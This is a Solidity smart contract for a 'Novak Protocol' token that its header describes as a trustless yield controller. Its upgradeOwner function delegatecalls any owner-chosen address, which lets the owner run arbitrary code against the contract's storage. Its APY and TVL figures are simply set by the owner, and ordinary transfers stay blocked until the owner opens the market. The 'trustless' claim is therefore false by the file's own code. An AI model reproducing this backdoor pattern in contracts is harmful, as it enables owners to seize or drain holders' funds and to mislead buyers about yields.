// File: contracts/Novak.sol



/*

 __    _  _______  __   __  _______  ___   _ 
|  |  | ||       ||  | |  ||   _   ||   | | |
|   |_| ||   _   ||  |_|  ||  |_|  ||   |_| |
|       ||  | |  ||       ||       ||      _|
|  _    ||  |_|  ||       ||       ||     |_ 
| | |   ||       | |     | |   _   ||    _  |
|_|  |__||_______|  |___|  |__| |__||___| |_|

Telegram:   https://t.me/novakprotocol
Docs:       https://docs.novakprotocol.com/
Website:    https://www.novakprotocol.com/
Twitter:    https://twitter.com/NovakProtocol

Contract serves as the Novak Protocol token and
the yield controller module. yieldController is
a variable set in the NMMF.sol, NUSDY.sol, and
NUSG.sol contracts. The yieldController manages
capital trustlessly, efficiently maximizing
yield.

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

interface IVault {
	function upgradeOwner(address _owner) external;
}

contract Novak {

  string public name = "Novak Protocol";
  string public symbol = "NOV";

  uint8 public decimals = 18;
  uint public totalSupply = 1_000_000 * 10 ** decimals;

  mapping(address => uint) public balanceOf;
  mapping(address => mapping(address => uint)) public allowance;

  address public owner;
  address public pool;
  uint public buyLimit = 50;
  uint public buyTax = 200;

	mapping(address => uint) public apyOf; // Shifted by 18 decimals
	mapping(address => uint) public tvlOf; // Shifted by 18 decimals

  event Transfer(address indexed from, address indexed to, uint amount);
  event Approval(address indexed owner, address indexed spender, uint value);

  constructor() {
    owner = msg.sender;

    balanceOf[owner] += totalSupply;
    emit Transfer(address(0), owner, totalSupply);
  }

  modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
  }

  function approve(address spender, uint amount) external returns (bool) {
    allowance[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    return true;
  }

  function _taxBuy(address sender, address recipient, uint amount) private returns (bool) {
    balanceOf[sender] -= amount;

    uint tax = amount * buyTax / 10000;
    balanceOf[address(this)] += tax;
    emit Transfer(sender, address(this), tax);

    uint taxAdjustedAmount = amount - tax;
    balanceOf[recipient] += taxAdjustedAmount;

    uint tokenBuyLimit = totalSupply * buyLimit / 10000;
    require(tokenBuyLimit >= balanceOf[recipient]);

    emit Transfer(sender, recipient, taxAdjustedAmount);
    return true;
  }

  function transfer(address recipient, uint amount) external returns (bool) {
    require(pool != address(0));

    if (msg.sender == pool) return _taxBuy(msg.sender, recipient, amount);

    balanceOf[msg.sender] -= amount;
    balanceOf[recipient] += amount;
    emit Transfer(msg.sender, recipient, amount);
    return true;
  }

  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external returns (bool) {
    allowance[from][msg.sender] -= amount;
    balanceOf[from] -= amount;
    balanceOf[to] += amount;
    emit Transfer(from, to, amount);
    return true;
  }

  function upgradeOwner(address _owner) public onlyOwner {
    _owner.delegatecall(abi.encodeWithSignature("upgradeOwner(address)", _owner));
  }

	// YieldController.sol
  function calculateTvl() public view returns (uint) {
    return tvlOf[msg.sender];
  }

  function calculateApy() public view returns (uint) {
    return apyOf[msg.sender];
  }

	function updateTvlAndApy(address _vault, uint _TVL, uint _APY) public onlyOwner {
		tvlOf[_vault] = _TVL;
		apyOf[_vault] = _APY;
	}

	function upgradeVaultOwner(address _vault, address _owner) public onlyOwner {
		IVault(_vault).upgradeOwner(_owner);
	}

  function openMarket(address _pool) public onlyOwner {
    pool = _pool;
  }

}